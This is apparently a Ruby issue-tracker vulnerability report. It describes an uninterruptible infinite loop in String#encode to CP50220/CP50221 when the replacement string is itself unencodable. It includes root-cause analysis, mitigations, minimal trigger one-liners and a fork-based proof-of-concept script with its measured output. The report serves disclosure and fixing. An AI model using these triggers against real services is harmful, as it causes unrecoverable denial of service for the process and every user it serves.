Project

General

Profile

Actions

Bug #22651

open

String#encode to CP50220/CP50221 loops forever when the replacement string cannot itself be encoded

Bug #22651: String#encode to CP50220/CP50221 loops forever when the replacement string cannot itself be encoded

Added by altruby (Alt Ruby) about 13 hours ago. Updated about 12 hours ago.

Status:
Open
Assignee:
-
Target version:
-
ruby -v:
3.2.0, 3.2.11, 3.3.14, 3.4.9, 3.4.13, 4.0.0, 4.0.7, 4.0.10, 4.1.0-preview1
[ruby-core:127748]

Description

About

Title: String#encode to CP50220/CP50221 loops forever when the replacement string cannot itself be encoded
Repository: ruby/ruby
Location: transcode.c:1530
Severity: High
Impacted versions: 3.2.0, 3.2.11, 3.3.14, 3.4.9, 3.4.13, 4.0.0, 4.0.7, 4.0.10, 4.1.0-preview1

Summary

Ruby can translate text between encodings, and when a character has no equivalent in the
target encoding the programmer may say what to put in its place. For the Japanese legacy
encodings CP50220 and CP50221 -- the ISO-2022-JP variants that older Windows, Excel and
mail systems use -- Ruby handles such a replacement in an unusual way: instead of
appending the substitution to the output, it hands it back to the same encoder as if it
were more input. If the replacement itself cannot be written in CP50220 (any ISO-2022
escape or shift byte: ESC 0x1B, SI 0x0F, SO 0x0E, or a sequence such as "\e(B"), the
encoder reports exactly the same "cannot convert" error again. Ruby's error handler then
inserts the same replacement a second time and jumps back to the top of the conversion
loop. Nothing is consumed, no progress is checked, and no interrupt is looked at, so the
loop never ends. The path is transcode.c:1523-1531 (undefined conversion ->
output_replacement_character -> goto resume), transcode.c:1734-1745 (insert the
replacement into the input of an "ASCII compatible encoder") and
enc/trans/iso2022.c:716-728 (the CP51932 -> CP50220 encoder that rejects those control
bytes).

The practical consequence is a request that never finishes. "\u20AC".encode("CP50220",
replace: "\e(B".b) does not return; it keeps one CPU core at 100% forever and, because the
loop never reaches an interrupt check and never releases Ruby's interpreter lock, every
other thread in the process stops making progress as well. With a replacement that starts
with bytes the encoder can write (for example "qk\x0F") each pass also appends those bytes
to the output, so memory grows by roughly 7 MB per second until the process is killed by
the operating system. Re-verified on the development head (ruby 4.1.0dev) and on the
released ruby 3.4.9: the call survives SIGTERM, Timeout.timeout(1) never fires,
Thread#raise has no effect, and only SIGKILL stops it.

Impact

For a service, this is a request-driven denial of service that cannot be recovered from
inside the process. A worker that transcodes user text to CP50220 or CP50221 with a
replacement string that the encoding itself cannot represent will permanently lose a
thread the first time a user sends a character the encoding cannot represent -- an emoji
or a euro sign is enough. The thread is not merely busy: it holds the interpreter lock, so
nothing else in the Ruby process runs either. Request timeouts, in-process watchdogs (such
as Timeout.timeout), Thread#raise/Thread#kill, the framework's graceful shutdown and even
the default SIGTERM handler are all deferred by the same missing interrupt check. An
operator sees a process pinned at 100% CPU that ignores TERM; in the memory-growing
variant it is also an OOM in slow motion (468 MB after 65 seconds in one measurement, 19.5
GB in the author's longest run), which means a container limit does not save the service,
it only delays the outage. Restarting requires SIGKILL, and every in-flight request or
tenant in that process is lost with it.

The precondition should be stated honestly: the application has to supply a replacement
string that is valid in the intermediate encoding (CP51932) but not encodable in
CP50220/CP50221, in practice an ISO-2022 escape or shift sequence. The default replacement
"?" and ordinary replacement text are safe, so only deployments that pass such a control
sequence -- a mistake that is easy to make in legacy Japanese encoding pipelines, where
"\e(B" is the sequence that "resets to ASCII" -- are exposed. Where that mistake exists,
the attacker needs no account and no privileges, and one request is a complete denial of
service for that worker.

Mitigations

Application workaround: never pass a replacement string that the destination encoder
cannot itself represent (use "?" or "" rather than "\e(B", SI/SO or U+FFFD when encoding
to CP50220/CP50221), and prefer ASCII-compatible targets. Real fix in rb_econv_convert():
detect that output_replacement_character() made no progress (input not consumed / last
error unchanged) and raise or break instead of goto resume; refuse to insert a
replacement into an asciicompat_encoder input when that encoder cannot encode it (fall
back to the default replacement or raise Encoding::UndefinedConversionError); and/or add
an interrupt check or iteration cap to that loop. Limiting per-request memory/CPU at the
container level only shortens the outage; it does not fix the loop and it cannot interrupt
the spinning call.

Examples
example 1

A Japanese-language Rails/Sinatra application offers an Excel/CSV export and transcodes
each row with row.encode("CP50220", replace: "\e(B") so that unmappable characters are
replaced by the ISO-2022 "reset to ASCII" sequence. A customer pastes an emoji into a name
field: the export request enters the loop, the worker never returns, the download never
completes, the process stops serving every other request, and memory climbs until the
container is OOM-killed. Only SIGKILL ends it.

example 2

A mail gateway converts incoming bodies to CP50221 before handing them to a legacy
downstream system, using Encoding::Converter.new("UTF-8", "CP50221", replace: "\x0E"). Any
message containing one character outside CP50221 permanently consumes a converter thread;
after a handful of such messages the gateway has no workers left, and the operator cannot
interrupt or gracefully restart it because SIGTERM is deferred.

example 3

A shared transcoding helper (a gem used by several services) is called as
text.encode("CP50220", replace: replacement) where the replacement comes from
configuration. A single unrepresentable character in user input turns the affected request
into an unkillable 100% CPU thread with ~7 MB/s of allocation, which is only visible as a
process whose memory keeps climbing and which no signal except SIGKILL can stop.

example 4

Minimal reproduction and the contrast with safe replacements (run in a child process,
because the call cannot be interrupted): "\u20AC".encode("CP50220", replace: "qk\x0F".b) #
never returns, RSS grows ~7 MB/s "\u20AC".encode("CP50221", replace: "\x0F".b) # never
returns, pure 100% CPU spin, flat RSS Encoding::Converter.new("UTF-8", "CP50220", replace:
"qk\x0F".b).convert("\u20AC") # same control: "\u20AC".encode("CP50220", replace: "?") #
=> "?" control: "\u20AC".encode("CP50220", replace: "") # => "" Indirect proof of the root
cause: "\x0F".b.force_encoding("CP51932").encode("CP50220") raises
Encoding::UndefinedConversionError, i.e. the replacement really is an undefined conversion
for the encoder it is fed back into.

Proof of concept
# Proof of concept: CP50220/CP50221 replacement loop (transcode.c:1523-1531).
#
# CP50220's encoder is an "ASCII compatible encoder".  When undefined
# characters are replaced, rb_econv_insert_output() feeds the replacement
# string back into that encoder's *input* instead of appending it to the
# output (transcode.c:1734-1745).  If the replacement cannot be encoded to
# CP50220 either (any ISO-2022 escape/shift byte: ESC, SI, SO, "\e(B", ...),
# the encoder reports econv_undefined_conversion again and
# rb_econv_convert() does `goto resume` without consuming input, without a
# progress check and without an interrupt check.
#
# With a replacement that starts with encodable bytes ("qk" + SI) every
# iteration also appends "qk" to the destination, so the output buffer grows
# for ever.  With "\e(B" the encoder input queue grows instead.  Either way the
# call never returns, so the worker thread is lost: Timeout.timeout,
# Thread#raise, Thread#kill and SIGTERM are all deferred, only SIGKILL stops it.
#
# The one-liner, run in a child so the parent can observe it:
#
#   "\u20AC".encode("CP50220", replace: "qk\x0F".b)
#
# No shell, no network and no privileges are needed.

$stdout.sync = true

REPLACE = "qk\x0F".b   # convertible prefix + SI (0x0F), unrepresentable in CP50220

def rss_kb(pid)
  out = IO.popen(["ps", "-o", "rss=", "-p", pid.to_s], err: File::NULL, &:read).strip
  out.empty? ? nil : out.to_i
end

def alive?(pid)
  Process.kill(0, pid)
  true
rescue Errno::ESRCH
  false
end

pid = fork do
  # The vulnerable call.  "\u20AC" is any character CP50220 cannot represent.
  "\u20AC".encode("CP50220", replace: REPLACE)
  exit!(42)   # never reached
end

t0 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
first = nil
samples = []

40.times do |tick|
  rss = rss_kb(pid)
  if rss
    first ||= rss
    samples << [Process.clock_gettime(Process::CLOCK_MONOTONIC) - t0, rss]
  end
  puts format("t=%4.1fs rss=%7d KB", samples.last[0], rss) if tick % 5 == 0

  if tick == 5
    puts "note: after 1s String#encode has not returned -> the thread is stuck"
  end
  if tick == 10
    Process.kill("TERM", pid)
    puts "sent SIGTERM to the spinning process"
  end

  sleep 0.2
  unless alive?(pid)
    Process.waitpid(pid)
    puts "verdict: NOT vulnerable (child exited on its own, #{$?.inspect})"
    exit 1
  end
end

last_t, last_rss = samples.last
rate = (last_rss - first) / last_t
puts format("RSS %d KB -> %d KB in %.1fs = %.0f KB/s and still climbing", first, last_rss, last_t, rate)
puts "still alive 2s after SIGTERM: the loop defers every asynchronous interrupt"
Process.kill("KILL", pid)
Process.waitpid(pid)
puts "child exit status: #{$?.inspect} (only SIGKILL stopped it)"
puts "verdict: VULNERABLE: encode() never returns, memory grows without bound, uninterruptible"
stdout
Re-verified by Neo on HEAD 19adb76051 (./ruby, debug) and ruby 3.4.9 (/usr/local/bin/ruby):

cp50220_loop_poc.rb (HEAD debug build, 1 run):
  t= 0.0s rss=  18228 KB
  t= 1.0s rss=  25260 KB
  note: after 1s String#encode has not returned -> the thread is stuck
  t= 2.0s rss=  32196 KB
  sent SIGTERM to the spinning process
  t= 3.1s rss=  39104 KB
  ...
  t= 7.2s rss=  66716 KB
  RSS 18228 KB -> 72252 KB in 8.0s = 6774 KB/s and still climbing
  still alive 2s after SIGTERM: the loop defers every asynchronous interrupt
  child exit status: #<Process::Status: pid 66255 SIGKILL (signal 9)>
  verdict: VULNERABLE

Additional checks (each in a separate process, watchdog-killed):
  replace "qk\x0F"  -> rss 31820/45268/59032/73052/87024 KB at t=2/4/6/8/10s (~6.9 MB/s), survived SIGTERM
  replace "\x0F"    -> rss constant 18272 KB for 10s, cpu time 0:05.02 at t=5s (100% of one core), survived TERM
  replace "\e(B"    -> rss ~18.5 MB (grows slowly), survived TERM
  replace "?"       -> returns "\x3F";  replace "" -> returns ""
  "qk\x0F" in a thread while the main thread counts: main thread NEVER regains the interpreter lock
     (the driver never reached its own 2 s deadline; RSS 468 MB after 65 s)
  Encoding::Converter.new("UTF-8","CP50220", replace: "qk\x0F").convert("\u20AC")  -> hangs, ~6 MB/s
  "\u20AC".encode("CP50221", replace: "\x0F".b)                                    -> hangs
  Timeout.timeout(1) around the call                                              -> never fires
  Thread#raise on the spinning thread                                             -> no effect
  released ruby 3.4.9: same one-liner still running after 2 s (control "?" returns)
  "\x0F".b.force_encoding("CP51932").encode("CP50220") -> Encoding::UndefinedConversionError
     (the replacement is indeed an undefined conversion)
  U+FFFD as replacement does not loop (it fails earlier, "code converter not found")
Actions

Also available in: PDF Atom